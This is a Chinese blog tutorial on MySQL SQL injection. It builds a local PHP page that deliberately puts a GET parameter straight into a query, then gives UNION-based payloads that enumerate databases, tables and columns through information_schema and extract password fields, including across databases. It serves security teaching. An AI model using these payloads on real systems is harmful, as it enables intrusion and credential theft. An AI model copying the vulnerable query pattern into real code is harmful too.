sql注入漏洞--MYSQL两种思路

在学习之前,先自己搭建了一个网站

在前端可以实现与后端数据库的交互查询

创建一个数据库名为wy,表名为users

建立字段,定义类型

插入数据

php 复制代码
INSERT INTO `users`(`name`, `password`,`photo`, `money`) VALUES ("DuZZ",123456,11,100);
INSERT INTO `users`( `name`, `password`, `photo`, `money`) VALUES ("GuQQ",654321,22,100);

确认

index.php

php 复制代码
<?php
$dbHost = "127.0.0.1";  //数据库地址
$dbUser = "root"; //登录数据库的用户名
$dbPass = "root";//登录数据库的密码
$dbName = "wy";//数据库的名称   
$link = @new mysqli($dbHost, $dbUser, $dbPass, $dbName); //建立数据库
if ($link->connect_error) 
{
    echo $mysqli->connect_error; 捕获数据库连接时的错误信息
}
if (isset($_GET['param'])) // 检查是否有传递的参数
{
    $param = $_GET['param'];
    $sql = "SELECT * FROM users WHERE id = '$param'";// 使用参数构建查询语句
} 
else 
{ 
    $sql = "SELECT * FROM users";// 默认查询语句
}

if ($results = mysqli_query($link, $sql)) //mysqli_query函数执行失败时返回 false,通过mysqli_query() 成功执行SELECT, SHOW, DESCRIBE或 EXPLAIN查询会返回一个mysqli_result 对象,其他查询则返回true。
{
    while ($result = mysqli_fetch_assoc($results)) //使用mysqli_fetch_assoc函数获取返回对象中的具体数据。
    {
        var_dump($result);  //输出每一行的数据
        echo "<hr/>";  //在输出之间添加<hr/>标签,以在结果之间添加水平分隔线。
    }
} 
else 
{
    die(mysqli_error($link)); //捕获SQL语句的错误,并结束脚本运行
}
$link->close();
?>

访问一下

通过get传参查询

相关函数:

sql注入漏洞

脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面显示),将定义的sql语句进行执行查询数据时。其中的SQL语句能通过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中的敏感数据,如管理员帐号密码)

复制代码
$i=$_GET[id];//GET请求接受id参数名值给变i

$sql="select * from sy_guestbook where id=$i";

//?id=1 
//select *from sy_guestbook where id=1

//id=1 and
//select *from sy_guestbook where id=1 and

MYSQL 统一管理

最高数据库用户=root用户

数据库A-->网站A-->数据库用户A

表名

数据

数据库B-->网站B-->数据库用户B

数据库C-->网站C-->数据库用户C

为了网站和数据库的安全性,mysql内置有ROOT最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。

MYSQL两种思路

1、非ROOT的注入攻击: 常规类的猜解

2、ROOT用户的注入攻击: 文件读写操作,跨库查询注入等

MYSQL5.0以上版本:自带的数据库名information_schema

information_schema: 存储数据库下的数据库名及表名,列名信息的数据库

information_schema.tables:记录表名信息的表

information_schema.columns: 记录列名信息表

获取相关数据:

数据库版本-看是否符合information schema查询

-version()-5.7.26

数据库用户-看是否符合ROOT型注入攻击

-user()-root@localhost

当前操作系统-看是否支持大小写或文件路径选择

-@@version_compile_os-win64

数据库名字-为后期猜解指定数据库下的表,列做准备

-database()-wy

ROOT类型攻击-猜解数据,文件读写,跨库查询

获取wy数据库下面的表名信息:

php 复制代码
?param=-1' union select 1,2,3,4,table_name from information_schema.tables where table_schema='wy' --+

获取表名wy的列名信息:

php 复制代码
?param=-1' union select 1,2,3,4,column_name from information_schema.columns where table_name='users' and table_schema='wy'--+

获取指定数据:

php 复制代码
?param=-1' union select 1,2,3,4,password from wy.users --+

跨库注入

就是如果你是root用户,根据上面的假设,我是在wy这个数据库中进行查询的,但是如果我想要在其他的库中进行查询,那么我们就先在information_schema.schemata这个表中查询其他的库(下文为security),然后指定想要查询的库进行查询

获取当前MySQL 下的所有数据库名

php 复制代码
?param=-1' union select 1,2,3,4,schema_name from information_schema.schemata --+

获取数据库名为security下的表名信息

复制代码
?param=-1' union select 1,2,3,4,table_name from information_schema.tables where table_schema='security' --+

获取表名为users的列名信息

复制代码
?param=-1' union select 1,2,3,4,column_name from information_schema.columns where table_schema='security' and table_name='users' --+

获取指定数据

php 复制代码
?param=-1' union select 1,2,3,4,password from security.users --+
相关推荐
Hrain-AI13 小时前
2026 编码智能体三强对比:Trae/Qoder CN/CodeBuddy 安全护栏
人工智能·安全
cjy_114 小时前
2026人工智能产业发展深度剖析:落地化、垂直细分、安全合规成行业核心赛道
人工智能·安全
数据知道14 小时前
反序列化漏洞:Java、PHP、Python 三条线各讲透
java·网络·python·安全·网络安全·php
宏集科技-鲁工14 小时前
挣脱线缆束缚:宏集EXOR X5 Wireless无线手持HMI如何让光伏工地AGV操控更安全高效
安全
听你说3215 小时前
推进具身智能安全评测:丈八科技与季华实验室达成战略合作
人工智能·科技·安全
盗理者17 小时前
AI Agent 技能分享|从零实现一个 MCP Server,让 AI Agent 安全调用内部系统
网络·人工智能·安全·agent
leagsoft_100318 小时前
浙江某机器人创新企业:一体化终端、数据与身份安全实践
安全·机器人
摸鱼停不住先生18 小时前
不安全反序列化利用篇(三):从对象字段到危险方法调用
java·服务器·网络·安全
能年玲奈喝榴莲牛奶18 小时前
资产和漏洞管理系统(AI)
人工智能·安全·web安全
国际云,接待20 小时前
云服务器 SSH 被扫爆了怎么办:安全组、密钥登录与 Fail2ban 的完整加固清单
服务器·安全·ssh